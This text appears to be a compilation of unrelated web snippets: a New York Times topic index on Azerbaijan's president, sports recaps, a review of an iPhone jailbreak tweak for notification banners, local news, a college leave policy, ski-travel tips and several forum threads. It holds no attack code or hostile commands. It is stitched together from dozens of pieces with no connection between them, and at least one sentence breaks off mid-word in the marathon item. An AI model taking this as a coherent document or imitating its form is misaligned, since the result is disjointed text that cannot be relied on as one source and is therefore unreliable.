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News about Ilham H. Aliyev, including commentary and archival articles published in The New York Times.
Pope Francis Notes Azerbaijan's Religious Tolerance, Not Rights Abuses
The pope focused on diplomacy in meetings with leaders of other faiths, and the nation's president, later expounding on other topics, like advice for American Catholic voters....
October 2, 2016, Sunday
MORE ON ILHAM H. ALIYEV AND: Human Rights and Human Rights Violations , Religion and Belief , Freedom of Religion , Roman Catholic Church , Freedom of Speech and Expression , Francis , Aliyev, Ilham H , Azerbaijan
Azerbaijan: Dream Setting for a Race, but One With Baggage
Judged by location alone, Baku would be a fabulous new venue for Formula One. But Azerbaijan's human rights record raises controversy....
June 19, 2016, Sunday
MORE ON ILHAM H. ALIYEV AND: Automobile Racing , Formula One , Baku (Azerbaijan) , Azerbaijan , Human Rights and Human Rights Violations , Amnesty International , International Automobile Federation , Aliyev, Ilham H , Ecclestone, Bernie
Azerbaijan Frees Khadija Ismayilova, Journalist Who Exposed Official Corruption
The release of Ms. Ismayilova was welcomed by international rights groups after her incarceration had become an embarrassment to Azerbaijan's president....
May 26, 2016, Thursday
A First Lady and a Jailed Journalist
Unesco honors the courage of a journalist unfairly imprisoned in Azerbaijan, where the first lady is one of the agency's good-will ambassadors....
May 6, 2016, Friday
Azerbaijan Claims to Halt Violence in Nagorno-Karabakh, but Warns Armenia
Azerbaijan laid the seeds for continued fighting over the long-disputed enclave by saying that it would keep the territory seized by its forces....
April 4, 2016, Monday
MORE ON ILHAM H. ALIYEV AND: Azerbaijan , Armenia , Nagorno-Karabakh , Aliyev, Ilham H , Defense and Military Forces , Putin, Vladimir V
Foreign Journalists Under Fire
The recent spate of politicized cases against journalists warrants a much stronger international response....
September 6, 2015, Sunday
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Azerbaijan: Journalist Critical of Leader Is Sentenced to 7 1/2 Years in Prison
Khadija Ismayilova was sentenced Tuesday to 7 1/2 years in prison on charges including embezzlement and tax evasion....
September 2, 2015, Wednesday
MORE ON ILHAM H. ALIYEV AND: Azerbaijan , Ismayilova, Khadija Rovshan qizi , Freedom of the Press , Aliyev, Ilham H , News and News Media , Sentences (Criminal) , Tax Evasion , Embezzlement
Jailed Azerbaijani Journalist, Khadija Ismayilova, to Be Honored by PEN
The PEN American Center adds its voice to mounting international criticism of the government of President Ilham Aliyev over human rights abuses and the suppression of free speech....
April 16, 2015, Thursday
Clashes Intensify Between Armenia and Azerbaijan Over Disputed Land
Dozens of soldiers on each side have been killed and the countries are perilously close to open war....
February 1, 2015, Sunday
MORE ON ILHAM H. ALIYEV AND: Azerbaijan , Armenia , Nagorno-Karabakh , Defense and Military Forces , Refugees and Displaced Persons , Aliyev, Ilham H , Sargsyan, Serge
The Two Faces of Azerbaijan's Mr. Aliyev
The nation's president is "pro-Western," with ample supplies of oil and gas. He is also hugely corrupt and authoritarian....
January 12, 2015, Monday
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Chapman returns, hits 100 mph in Reds win
CINCINNATI -- Aroldis Chapman made his first major league appearance since being hit above the eye by a line drive during spring training, striking out the side in the ninth with his 100 mph fastball to close out the Cincinnati Reds' 4-1 victory over the Colorado Rockies 4-1 Sunday.
Todd Frazier hit his second 400-foot home run in three days to back Homer Bailey's shutdown pitching as Cincinnati won the rubber match of its three-game series with Colorado.
Chapman was greeted by a standing ovation from the crowd of 33,143. He reached 100 mph with his first pitch and topped out at 102 mph in earning the save. Chapman had been out since being hit above the left eye by a line drive during a spring training game on March 19.
Skip Schumaker drove in two runs and the Reds capitalized on two Colorado throwing errors to send the Rockies to their third loss in four games.
Besides contributing two sacrifice bunts, Bailey (3-2) limited a Colorado offense that produced 11 runs and 16 hits on Saturday night to one run -- Charlie Blackmon's ninth homer of the season and second in two games -- and four hits with two walks and six strikeouts in 7 1/3 innings.
Manny Parra got the final two outs of the eighth inning.
The Reds snapped Nolan Arenado's streak of getting on base at 30 consecutive games, two days after his hitting streak was stopped at a franchise-record 28 games.
Juan Nicasio (4-2), who'd won his previous two starts, allowed five hits and four runs -- two earned -- with one walk and three strikeouts.
Billy Hamilton, making his first start since spraining two knuckles on his left hand while making a diving catch on May 1, led off the first inning with a bunt single up the first base line and went all the way to third on first baseman Justin Morneau's throwing error. Hamilton scored on Schumaker's groundout to second baseman DJ LeMahieu.
The Reds made it 2-0 in the third on Ramon Santiago's leadoff bloop single to left field, Bailey's sacrifice, a Nicasio balk while facing Hamilton and Schumaker's soft, two-out liner to center field.
Blackmon became the first Rockie to reach base when he led off the fourth with an estimated 380-foot shot into the right field seats on a 2-2 pitch.
Frazier got that run back with his seventh homer of the season, an estimated 421-foot drive to center field on a 2-2 pitch with one out in the fourth inning that extended his career-high hitting streak to 11 games (13 for 42, .310). Frazier reached an estimated 485 feet with a home run on Friday.
The Reds used another throwing error to take a 4-1 lead in the fifth. With Santiago on third base and Hamilton on second and two outs, third baseman Arenado's high throw to Morneau on Brandon Phillips' two-out grounder pulled the first baseman off the bag. Phillips slid under the attempted tag while Santiago scored.


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For those of you that want more control over the location, size, and content of your Notification Center and iOS 5 notification banners, an upcoming jailbreak tweak is just what you've been looking for. It comes packed with a ton of settings for changing the way they look when you get notifications. The tweak will be called Bulletin Pro by iOS developer Smartviper E75 and it will be live on the BigBoss repository soon for 99¢.
You can use the tweak to make your iPhone or iPod touch feel more like an iPad, by compressing the size of your notification banners and Notification Center, or you can use the tweak to reposition them anywhere on the screen you'd like. First we will be taking a look at the preferences pane of the tweak, so we can highlight each section one-by-one:
As illustrated above, the preferences pane is separated into two sections – Notification Center and Banners. As made obvious, the Notification Center section will be changing the appearance of Notification Center and the Banners section will be changing the appearance of your iOS 5 notification banners.
Notification Center
From the Notification Center section of the preferences pane, you can choose where on the screen you want the Notification Center to actually appear. Above are the best-looking examples out of the bunch, however you will have all of the following placement options for Notification Center with Bulletin Pro; bullets highlighted in ModMyi-Blue are the ones used in the picture example:
- Default
- Mini
- Thin
- Thinner
- Thinnest
- Short
- Shorter
- Shortest
- Small
- Smaller
- Smallest
- Left
- Left-thin
- Left-thinner
- Left-thinnest
- Left-short
- Left-shorter
- Left-shortest
- Left-small
- Left-smaller
- Left-smallest
- Right
- Right-thin
- Right-thinner
- Right-thinnest
- Right-short
- Right-shorter
- Right-shortest
- Right-small
- Right-smaller
- Right-smallest
In addition to selecting the location of Notification Center, the user has the ability to hide certain elements from Notification Center notifications. These options only apply to when you actually have a notification in Notification Center and some of them only apply to notifications where applicable. You can hide and show any of the following Notification Center notification elements:
- Attachment image
- Date label
- Attachment label
- Message label
- Sub-title label
- Title label
- Notification cell title
- Notification cell sub-title
- Notification cell message
It's recommended that you don't hide a whole lot of the elements because it's mostly critical information that you need to see to enjoy the ability of seeing a notification in iOS. You will also need to be on the picky side when choosing a size for Notification Center because the smaller you go, the more compressed the widgets and notifications feel. I wouldn't go any smaller than "thin" because any smaller and everything feels cramped.
For the banners section of the preferences pane, the same kinds of options can be expected; only they will apply to the banners instead of the Notification Center. You can place banners anywhere in the top or bottom of the screen in any size that you would like. Again, we would not recommend going any smaller than "small" because the smaller it is, the less content you're going to be able to see. The interesting part about being able to place the banners on the right side of the screen is that they look similar to the banners in OS X Mountain Lion.
You will be able to make the notification banners appear in any of the following locations and sizes; bullets highlighted in ModMyi-Blue are the ones used in the picture example:
- Default
- Top-small
- Top-smaller
- Top-smallest
- Left-small
- Left-smaller
- Left-smallest
- Right-small
- Right-smaller
- Right-smallest
- Bottom
- Bottom-small
- Bottom-smaller
- Bottom-smallest
- Bottom left-small
- Bottom left-smaller
- Bottom left-smallest
- Bottom right-small
- Bottom right-smaller
- Bottom right-smallest
In addition to selecting the location of the notification banners, the user has the ability to hide certain elements from notification banners. Some of these options only apply to notification banners where applicable. You can hide and show any of the following notification banner elements:
- Banner title
- Banner message
- Banner application icon
- Banner sound
- Banner application name
- Banner attachment image
- Banner attachment text
Not only can you disable the notification banner sounds, but you can also disable the notification banner animations, which appear to roll over your screen when you get them. Disabling this animation is recommended, by the developer, for when you have your banners at the bottom of the screen, otherwise it will look goofy. The other option you have is to hide the duplicated status bar when you open Notification Center and it's smaller than the stock size.
Below is an example of what it looks like when you hide specific elements from Notification Center or from notification banners:
The tweak has cool features that a lot of people who enjoy customizing iOS will like. The ability to change the sizes, locations, and contents of Notification Center and Banners is a feature Apple never would have given us, so thanks to jailbreaking, we will have the ability to do it. Keep a look out this week for Bulletin Pro in Cydia!
Name: Bulletin Pro
Price: 99¢
Version: 1.0-12
Requirements: iOS 5
Repo: BigBoss (upcoming)
Developer: Smartviper E75
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Wisconsin city cites parents for a child's bullying
Monona parents whose children repeatedly bully others can now be ticketed by police and fined in municipal court.
The approach, part of a broader anti-bullying ordinance passed May 20 by the Monona City Council, appears to break new ground in the national effort to reduce harassment and emotional abuse among young people.
Julie Hertzog, director of the National Bullying Prevention Center in Bloomington, Minn., said she had not heard of such a tactic and was hesitant to comment for that reason. "This is the first time it's been on my radar," she said.
Likewise, the League of Wisconsin Municipalities said it could find no other municipal ordinances in the state that hold parents accountable for an offspring's bullying. The Monona ordinance took effect Thursday.
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I just wanted to bring to your attention the following new sub-forum in the General Dhamma section...
Early Buddhism
Textual analysis and comparative discussion on early Buddhist sects and texts.
Link to subforum: viewforum.php?f=29
In the very embryonic days of Dhamma Wheel we did have an Early Buddhism forum but we removed it as we neither had the traffic, nor enough collective interest in the subject to do it justice. Thankfully both of these factors have changed (with many thanks to venerable Paññāsikhara, in particular) and we're able to trial this concept once more.
If you have any questions, concerns or suggestions with regards to this new sub-forum, please feel free to comment!


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Protube is so freaking awesome on the iPhone.
So it could only be a tons better on the iPad.
Explains to us how you would use ProTube HD:
I can only talk about using YouTube thrue http:// and iPhone. THAT SUXS !!
i Mean it, look at the web design ?!
But for now, i use ProTube on the iPhone, and it perfect.
Its faster, looks better, i can Download my stuff, i can everything i want to.
So i would use 'Pro' the same way - Maybe more ?
But as you proberly know - "When the screen on the gadget is bigger, you use that gadget more".
And why you think you should win it
I dont know - i dont even want to write a story of "why" like everyone else.
Half of it is lies anyway.
i only write this comment, to tell i love "Protube" and i hope it will be more awesome on the iPad.
But offcourse i wonna win - Who dont want to win something ?!
But good work Jonas Gessner.
-But, i could really need "import to Music ..."
Oh, And The Cydia number stuff thing : 1268454
Im a complete youtube addict and am subscribed to a ton of stuff. The problem is my wifi is really slow, so I guess I'd download videos from my subscriptions and then watch them back as and when I want them without having to wait for the YouTube app to spend ages buffering the, in HD. Cydia number #7154
i use my ipad1 a whole lot when i get home. i look at a lot of youtube videos about jailbreaking and my 14 year old son loves to watch youtube on my phone and my ipad when i dont have it. its such a pain in the butt for him because of all the mess that comes with it. this would be awesome to have. cydia account number is 124138.
I would love to win this app. I'm always hanging with my usual friends and we all would look up vids on YouTube, stuff like fights, crack heads on subway, etc to get some laughs. The native YT app is ok, but I wish I could have a better made app such as the one in this giveaway so that I can utilize YT to its full potential. I'm Always watching vids and so this app would be used and not just installed to take up space.
Anyway, I appreciate the opportunity to win. *Crosses fingers*
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Wooohooo a You Tube app for the iPad that I can actually watch You Tube videos on. I find the built-in You Tube app worthless, so I would use this app to watch videos (simple as that).
Daniel (Acct # 864934)
Well, I will be straight with you, this is a necessity for me. I have been toiling in the amateur tube ranks for many years and have been looking for my big break. Sure I watched a video of Gabby Jay being knocked out, and even Bob Charlie. That is all well and good, but I want my shot at Mad Clown, Super Macho Man and the rest of the upper echelons of the tube world. I am just like a video of little Mac, running along as his trainer rides a bike behind him, in fact, the iPad is like a little Mac. Alright, I was forced to put in that pun, stay with me here. In conclusion please consider aiding me in defeating Youtube by moving me from Amateurtube to Protube, and help me realize my destiny!
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I watch a lot of youtube videos and the default youtube app isn't good enough for me. As I have a slow connection and it keeps switching to HD, and it's a pain to wait for full loading. I'm not fond of going to safari and use youtube mobile either. I heard a lot of good comments about ProTube and would like to give it a try.
Cydia: 3206221
Winning this app would be great, I spend ages doing this processs on my PC and converting then uploading to my iPad, also it wouls be great to get extra features to make YouTube even better, the built in YouTube app is just awful, it's slow and lags, the mobile YouTube is just as bad, ProTube seems to be the way to go!


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A student who finds it necessary to leave the College but who plans to return within a year may request a leave of absence by meeting with the assistant dean for academic advising. The effective leave-of-absence date is the date on which the student began the formal leave-of-absence process by notifying the Office of the Provost of his or her intention.
Though a leave of absence for up to two (fall or spring) academic terms will protect the student against academic program changes and facilitate the student's return, there is no guarantee that the student's financial aid will be continued, and the student should confer with a financial aid counselor before taking a leave. Students on a leave of absence should also be aware that courses taken through Moravian College's Comenius Center for Continuing, Professional, and Graduate Studies or at other colleges or universities during the leave may affect their academic standing at Moravian College. Students planning to take college courses while on a leave should consult with the associate dean for academic affairs.
Once the leave-of-absence process is initiated, students who change their minds about taking a leave of absence from the College may do so by rescinding the request for a leave in writing to the Office of the Provost. If the leave of absence is to take effect at a time when classes are in session, the rescission must occur within ten calendar days.


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Two to present research at 2009 National Conference on Undergraduate Research
A pair of seniors from the University of South Carolina will present research at the 2009 National Conference on Undergraduate Research to be held April 16 – 18 in La Crosse, Wis.
Andrew Schwark, a McNair scholar in the Moore School of Business, and Alicia "Kate" White, a Cooper scholar and Lieber scholar in the South Carolina Honors College, were chosen from thousands of submissions to present their research at the prestigious conference.
Schwark, an international-business major from Hartland, Wis., wrote the paper, "An Analysis of the Azerbaijani Business Environment and Discussion of Opportunities for Private and Public Sector-Led Economic Development."
White, a Russian-studies major from Marietta, Ga., received a Magellan Scholarship for undergraduate research. Her paper is titled, "The Contemporary Russian Orthodox Church Through the Eyes of Russian Believers."
The National Conference on Undergraduate Research was first held in 1987 to showcase research by the nation's brightest undergraduate students. Students and their faculty mentors present the student research through posters, oral presentations, visual arts and performances.


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Towpath Marathon sets Tuesday deadline
(Akron) - The government shutdown has some area long-distance runners in limbo.
The Towpath Marathon is scheduled to wind through the Cuyahoga Valley National Park on Sunday, October 13. But the federal shutdown has closed the CVNP, putting the race in jeopardy.
As of now, organizers still plan to stage the 22nd running of the Towpath Marathon. But if the shutdown isn't settled by Tuesday, October 8, it will be recheduled.
In a statement from the Towpath Marathon, organizers thanked runners for their messages of support and their patience.As you know, hut down as
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For once, Steve Blake had a good reason to smile as he exited out Staples Center. | PHOTOS
The Lakers medically cleared him to play when they play Tuesday against the New Orleans Hornets, Blake has missed the past 37 games because of a lower abdominal strain. As far as playing, Blake joked, "that's up to the coach."
It's a safe bet Blake will be the backup point guard, considering coach Mike D'Antoni has gushed how his playmaking abilities and aggressiveness perfectly fit into his offense.
Blake still reported pain in his lower groin area and said he'll have to continue to ice it. But he said that won't inhibit his play.
"There's nothing I can do about it," said Blake, who was averaging 5.1 points on 35.3 percent shooting and 3.4 assists per game before his injury. "Just go. Just play."


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"Empowering and engaging students to question, understand, and create the digital media they so easily consume is challenging, exciting, and, ultimately, highly valuable."
Greg Hodgson has been teaching new media since the late 1990s, when he became convinced of its potential for unleashing student creativity, engaging the disengaged, and significantly raising faculty attainment levels. Working closely with government bodies and examination boards, Hodgson developed a pioneering digital art course that successfully blended virtual learning, Adobe® Acrobat® Connect™ Professional meetings, and Adobe Captivate® reusable learning resources. Hodgson has witnessed many once-unmotivated and low-achieving pupils, including those with significant learning difficulties, blossom when creating animation and interactive media supported by online learning. He says the improvement is unlike any he has seen in the context of traditional classroom instruction.
In addition to teaching full time, Hodgson regularly advises, presents, and trains across the United Kingdom on the best ways to implement digital media in the classroom. He is involved in various projects such as remotely teaching Adobe Photoshop® and Flash® software to K–8 students in the United States.


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Why after i gave birth my hair started to loss?
I really wonder why im having a hair loss problem after i gave birth how can i treat this?
18th February 2014 06:37 AM #2
Normally, women shed around 10% of their hairs each month. However, in pregnancy this shedding of the hair does not occur due to the changes in hormones. This means that postpartum (after birth) a woman will eventually shed all these extra pregnancy hairs and this may make her feel her hair is getting thinner than normal. This postpartum hair shedding tends to occur up to 12 months after giving birth.
After this time, your hair should return to its normal fullness and condition. However, having had thicker hair in pregnancy and then losing it relatively suddenly can make you more aware of the hair loss. It's important to eat a healthy, balanced diet at this time. There are also shampoos available that can make hair appear thicker.
I hope this answers your question.
Warm wishes,
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Use a wide tooth comb when combing your hair especially when wet. Hair is fragile when wet so I recommend you to use wide tooth comb. Avoid pigtails, braids and tight rollers to prevent hair damage. Use a natural thickening shampoo if you want. Your hair will grow and stop from falling after few months.
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Hair loss during and after pregnancy is very normal reaction of our body yet in due time it will come back naturally. DOnt worry because I had that experience but now my hair is relatively long down my waistline. Eat fruits and vegetables that will help the hair grow back.


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Chance Of A Below-Average Hurricane Season Grows In NOAA's Updated Forecast
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Another updated Atlantic hurricane forecast, another expectation of a below-average season for 2014.
The updated outlook from forecasters at NOAA's Climate Prediction Center puts the chances of a below-average season at 70%, a near-normal season at 25%, and only a 5% chance of an above-normal season.
The initial outlook put those chances at 50, 40 and 10 percent respectively.
"We are more confident that a below-normal season will occur because atmospheric and oceanic conditions that suppress cyclone formation have developed and will persist through the season," said Gerry Bell, Ph.D., lead seasonal hurricane forecaster.
"Nonetheless, tropical storms and hurricanes can strike the U.S. during below-normal seasons, as we have already seen this year when Arthur made landfall in North Carolina as a category-2 hurricane. We urge everyone to remain prepared and be on alert throughout the season."


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FBI officials conducted a press conference Tuesday to address the recent arrests of suspected terrorists in the Inland Empire.
Bill Lewis, assistant director in charge of the FBI's Los Angeles Field Office and David Bowdich, special agent in charge of the counterterrorism division in Los Angeles, briefly addressed the media, but did not elaborate beyond what is alleged in the complaint.
The recently arrested suspected terrorists from the Inland Empire did not pose a local threat, officials said, adding that the alleged targets were U.S. and coalition military personnel overseas.
On Friday, four Inland Empire men were arrested in connection to a terrorist plot that was foiled by federal agents.
Sohiel Omar Kabir, 34, an Afghanistan native and former resident of Pomona; Ralph Deleon, 23, of Ontario and a native of the Philippines; Miguel Alejandro Santana Vidriales 21, of Upland; and Arifeen David Gojali, 21, of Riverside, a United States citizen, were arrested on suspicion of plotting to join Al-Qaida and the Taliban in Afghanistan in hopes of killing Americans.
According to the complaint that was filed in U.S. District Court in the Central District of California, the four conspired to provide material support to terrorists in preparation for or in carrying out acts of terrorism.
The four were apprehended on Friday without incident by members of the Joint Terrorism Task Force and had their initial appearance before a federal magistrate this afternoon in U.S. District Court in Riverside, California. Santana and Deleon were remanded to federal custody and Gojali's detention hearing was continued to Nov. 26.
Kabir is in custody in Afghanistan.
Lewis told the media on Tuesday that agents had been following the homegrown terrorists for 'quite a while'
He added 'There was no way they were going to get on that plane' that would've allowed them to target overseas U.S. Interests.
The FBI also said the main lesson learned from this case is - 'don't underestimate these groups. They took very definitive steps to accomplish their plan.'


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UH/Rainbow Babies opens remote hub
(Cleveland) - University Hospitals and Rainbow Babies and Childrens' Hospital open a telemedicine hub Thursday. It's at the Friendly Inn Settlement House in Cleveland's Promise Neighborhood at East 55th and Quincy Avenue.
The 'UH/Rainbow HealthSpot' station, as it is being called, will be staffed by a medical attendant on scene and a doctor who can remotely examine pediatric patients in the area.
Spokesman Ethan Churnin says they have placed the station in a densely populated area with a pediatric population that is highly underserved. It's also an area that needs after-hour access to health care.
The station will concentrate on kids who are dealing with minor issues including fever, colds and ear aches.
The doctor has full control of all the biometrics. That means he or she can listen to the heart and lungs, take a kids blood pressure and height and weight.
Doctors can also call in prescriptions for the patients.
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Watch Interpol Perform at the iHeartRadio Theater
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Interpol's new album, El Pintor, is out today, and last week the band gave fans a taste of their new music with an exclusive show at the iHeartRadio Theater in New York City on Friday, September 5th, as part of the iHeartRadio Live Series.
The band performed songs from their brand new album, including their single "All The Rage Back Home," during the intimate iHeartRadio Live show.
El Pintor is the band's fifth studio album and their first one since 2010. The album was produced by Interpol, with Daniel Kessler playing guitar and piano, Samuel Fogarino on drums, and Paul Banks on vocals, guitars, and taking over bass duties for the first time.
Fun fact, the album's title El Pintor is also an anagram for Interpol!
Now, we're excited to bring you videos from Interpol's awesome iHeartRadio performance. Check them out below!
Watch Interpol Perform "My Desire"
Watch Interpol Perform "Anywhere"
Watch Interpol Perform "All The Rage Back Home"
Before they took the stage, Interpol hung out with iHeartRadio's Paul The Web Guy backstage, who surprised them by fulfilling items on their silly hospitality rider. Check out the LOL video below!


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One Direction to perform on 'Saturday Night Live'
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One Direction pandemonium is set to take over "Saturday Night Live." The British boy band is the musical guest on this weekend's episode, and in a new promo host Paul Rudd is looking for a piece of the action.
It continues with more unsuccessful attempts by the "Anchorman 2" actor, who is hosting the NBC sketch show for a third time. In earlier promos, Paul and cast member Vanessa Bayer let out their excitement over One Direction's arrival by hyperventilating and screaming into pillows.
This weekend will be One Direction's second visit to Studio 8H. They've been busy touring in promotion of their latest album Midnight Memories, which came out last week and debuted at number one with 546,000 copies sold.
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Skiing the 'big five' (Switzerland, Austria, France, Italy, Germany) is often expensive, and the close alternative, skiing in eastern Europe, has a bad rep. Horror stories of rickety secondhand chairlifts moved from northern European resorts, few shops from which to hire equipment and shocking organisation have generally kept all but students and hard-pressed families at bay.
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Poland's most popular resort is Zakopane, south of Krakow. Though it's not as well organised as Switzerland, the archaic lift infrastructure is currently being modernised and it's every bit as chocolate-boxy to look at.
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Visit www.skiclub.co.uk/Borovets for more information on Borovets.
Fancy venturing further east? Skiing is no longer viewed as a bourgeois sport in Russia, and the (admittedly bourgeois) resort of Sochi will host the country's first Winter Olympics in 2014 (http://sochi2014.com). Two hours drive from Sochi is the country's most famous ski centre Krasnaya Polyana, still largely unmodernised (although changing fast in preparation of the upcoming Winter Olympics) with some of Europe's best off-piste skiing.
Visit www.skiclub.co.uk/Krasnaya-Polyana for more information about Krasnaya Polyana.
If you hope to bag a real bargain avoid well-known resorts when schools are on holiday. February half-term is notorious – transport and apartments cost a fortune and the queues for lifts are interminable.
The cheapest months to ski are December (it's the start of the season, when snowfall is unpredictable or non-existent) and January (short days and snow storms). Prefer to ski somewhere flash? St Moritz and Val d'Isère can make the sturdiest bank accounts shudder and it's easy to blow thousands before you even step on to the slopes, but look hard and you'll find good deals.
It's also worth considering a satellite village, which will be cheaper than the main resort and you can still ski the entire area. When booking late, check the snow reports daily and book right up to the wire: prices start dropping a month before depature date, but you'll save up to 50 per cent if you book just a couple of days before you go.
If you're inflexible about dates or resorts, monitor the internet with the assiduity of a Facebook addict: the big travel operators hand over their slow-selling holidays to internet-based specialists such as Igluski (www.igluski.com) who sell them on at bargain-basement prices. Clearly, the choice pickings don't last long.
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If money's really tight, consider paying more for a fully catered holiday. With the pound buying fewer euros, knowing exactly how much you'll be spending on your trip – the odd vin chaud up the mountain aside – can prove invaluable when you can only spend so much on a holiday.
Don't worry about looking flash – in fact you should actively avoid it. It's easy to spot the types who dress to impress and can't really ski: they're the ones in expensive kit. Hardcore snow fans wear whatever works, no matter how mismatched, and the more shabbily dressed someone is, the better they tend to ski/board.
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Put a bottle opener, small sharp knife, butter knife, and some plastic cultery in your check-in luggage. You'll be one of the canny ones who takes packed lunches to eat on the piste to enjoy in remote, mountain-top locations. Pack a bottle of wine and you'll save around €7 a drink, too. It's a rare resort that doesn't have at least one bar offering free food during après-ski. Find out which and drink there: your dinner's free. Save your shoes! With so much early snow, expect slushy resorts. Don't take your expensive Ugg boots, use your festival wellies and thermal socks.
The Ski Club of Great Britain (www.skiclub.co.uk) is indispensable when researching resorts. The club has reps on the ground in many ski regions across Europe who deliver first-hand piste accounts, rather than generic weather reports, and have detailed information about most destinations across Europe. The club also offers excellent and reliable advice in everything from guides through to social events.
Austria's Snowbombing festival was ten years old in 2009. Anyone interested in attending this hedonistic rave at the top of a mountain is advised to get online pronto – earlybird bookers secure the best deals. Shared apartments are snapped up fast (the most desirable are allocated first; last-minute bookings tend to be further from the main drag).
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Which February school mid term breaks do we need to avoid? All European countries have different breaks...were looking at Bulgaria late February
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I just want to say, that I was in Bosnia and its perfect place for skiing, especially Bjelasnica-Olimpic mountain, no mines, cheap accomodation, cheap food and drink and good night life in Sarajevo. Ski pass is 17 euro for hole day, can u imagine. http://bjelasnica.ba/home-en
you missed Ischgl, an amazing resort for this that like a party after the slopes... if your going then come see me for a cheap car hire deal - http://indigocarhire.co.uk/ski-car-hire/
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I got us going 13-3 and winning the Superbowl! Yeah I said it, here's the realistic & pretty spot on prediction enjoy gentleman!
Detroit W
- Defense is ahead of offense & we punch Detroit in the mouth week 1, best stats by a WR in this game Brian Quick!
Washington W
- Sam shows his a$$ against the rookie & the defense gets after RG3 & he too worried about being a pocket passer instead if using his legs!
Chicago W
- Chicago still adjusting to new offense & OC plus we make they're defense look old, Sam killing it & the media going ga ga over him & Fisher!
Seattle W
- Defense, Defense, Defense! We frustrate the Seattle QB's we see 2 QB's in this game, Jackson goes crazy in this game +150 3tds!
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- Same Blueprint as above with defense only Sam & his crew of WR's will be beasting & chatter begins could Sam be the leagues MVP?!
Miami W
- Miami already thinking about playing the rookie QB, by the middle of 3rd quarter they say what the hell do we got to lose its a blowout!
Green Bay L
- The showdown MVP vs Leading MVP candidate, Sam holds his own, the young corners have a rough day, we score with 1:15 left on the clock but miss the 2 point conversion to put us up by 3! Green Bay kicks a long FG!
New England W
- We go across the pond & beat Brady, Sam goes nuts...take that McDaniels! Brady gives up the high praise saying the dline brought more pressure than Giants dline!
San Fran L
- San Fran needs this win to keep us with us, it gets nasty all defense! I think a turnover losses it for us sack fumble from behind & we lose a low scoring game but S.F. is on notice.
N.Y. Jets W
- We see Tebow is game & our Dline is up for the challenge, Sam has a field day, props to the Oline hes got all day to throw!
Arizona W
- Arizona is looking towards the draft & the QB's that are coming out that's win #9 if your counting!
San Fran W
- This one gets nasty but only for S.F. the Dome is rocking from the start, QB play is the difference in this game, Sam will be hearing MVP chants by the end of the game!
Buffalo W
- Buffalo defense brings it but Sam fights throw it & plays it safe taking what they give him, or defense is dominant & creates 5 turnovers 3 picks ( 1 pick 6 ) & 2 fumbles ( 1 returned )
Minnesota W
- at this point in the season we're playing for the #1 seed & we take care of business against the Vikings & lock up division title!
Tampa W
- see above, that's win #13 & locks ups the #1 seed in the conference!
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- We rest our starters in the second half, Seattle kicks a late FG for the win we get ready for the playoff tho!
We will win the Superbowl & Sam wins Superbowl MVP! The Era begins we win four more superbowls during Sam's time here!
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Not much I'm always looking in tho but my prediction needs to be heard, I'm gonna nail this 1 & I want all my props for a great prediction as we all celebrate a championship!
Someday...someone will nail it...I don't think anyone would oppose to the person choosing their team to go 13-3 will ever oppose.
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Honestly. Our offense is extremely bad. Still don't have any real #1 WR... I just see our offense not being able to come back from deficits (which we'll be facing a lot). Our defense will be improved, but we have a lot of new pieces and some rookies that we're really counting on. Just don't see them being that great because of that.
I think we'll win about 4 or 5 games at the absolute most.
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On paper, i think 6-7 wins. They are improved just about everywhere over last year, but they are'nt a playoff team yet.
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Lets be honest, This team will go how Bradford goes. I think our defense is going to be good enough to keep us in games. So Bradford will have to get points on the board.
If he plays like we all hope he can play, we will go 9-7. Missing the playoffs by a few wins.
If he becomes another Joey Harrington/David Carr We will go 3-13. I Love Bradford and really hope he pans out, i even have two of his jerseys. However I am a realist and know this is the boom or bust season. He has potential but due to bad management and a pìss poor front office, he is on his 3rd OC and 2nd HC in 3 years, And still no true elite WR. I like Quick and think he could be the next Bruce, But Bradford needs a legit number 1 this year.
I'm giving Bradford and the Rams a 50/50 shot. 50% 9-7 and bright future. 50% Bradford has too many hurdles and crumbles and we are forced to draft a new QB next year.
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If he becomes another Joey Harrington/David Carr We will go 3-13.
Thats what im scared off...i felt so bad for him last year. Dude could not catch a break. If he wasnt getting sacked, people were dropping passes. If they werent dropping passes, they were fumbling. If they werent fumbling, they were running poor routes. If they werent running poor routes it was because they were injured. And when he finally got a decent target he got injured.
He wasnt perfect but damn how much can a dude take?
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9-7 a bold prediction i said it last year but didnt happened but i think we can squeak some wins out of those tougher teams. i truly think this team will surprise some people this year.
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Posted: Tue Mar 02, 2010 9:13 pm
Post subject: Garden Island 2010
Alright, I'm still working out details, but I'm planning a trip to Garden Island Recreation Area in Lake of the Woods to get the State Park cache there.
Date: Labor Day Weekend!
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If anyone's interested, post here or send me an e-mail or PM and I'll keep you in the loop as we plan. Be sure to let me know how many people you'd plan to bring. The more the merrier!
Edit: Circumstances are showing this ain't happening for spring. Basically, I didn't have enough of a chance to plan this the way it needs to be planned. Plus everyone's so busy at the beginning of summer - we all know the drill. We'll try for this fall. Again, post here or send me a note if you have interest in a fall trip.
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Posted: Tue Mar 02, 2010 9:29 pm
Post subject: Re: Garden Island 2010
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The current plan is to rent a pontoon and take to the open lake
Also, if you've made the trip and you think I'm completely off-base and/or crazy, please let me know that as well
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Posted: Tue Mar 02, 2010 10:02 pm
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Pear Head wrote:
Also, if you've made the trip and you think I'm completely off-base and/or crazy, please let me know that as well
Some insight you can share, or simply the fact that I'm crazy? Is this an impossible venture without a professional?
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Posted: Tue Mar 02, 2010 10:15 pm
Post subject: Re: Garden Island 2010
qwerty2582 wrote:
Pear Head wrote:
Also, if you've made the trip and you think I'm completely off-base and/or crazy, please let me know that as well
Some insight you can share, or simply the fact that I'm crazy? Is this an impossible venture without a professional?
I'm questioning the idea of bringing an open pontoon onto the lake. We went on a day where there was just a slight breeze and I'm here to tell you that the waves get pretty big when you get out on the lake. I'm sure there are probably days when the lake is like glass from one end to the other, but I'm guessing you can count those days each year on one hand.
After my ride out there last year you wouldn't find me on a pontoon, professional or not.
Basically, unless you have the proper-sized boat to make the trip, I'd suggest hiring the professional. This isn't a small lake - it deserves and requires a different amount of respect.
It seems like it would be worth the money to hire someone, especially if you can divide it up among a group. I know there was talk (here I think or on one of the cache pages) that someone had hired a bait dealer to take them out - you may want to look towards that as well.
My $0.02.
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Posted: Tue Mar 02, 2010 10:31 pm
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I agree with Pearhead. The day we went from the Northwest Angle, the waves were pretty rough. I'm glad we had Capt Deb piloting our boat. If you want to launch from the south shore of the lake, I'd hire someone to take you.
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Posted: Tue Mar 02, 2010 10:38 pm
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Thanks for the insight, Pear Head and Uffda. This is why I figured I'd start here before making too many solid plans... I'm far from an expert on these matters...
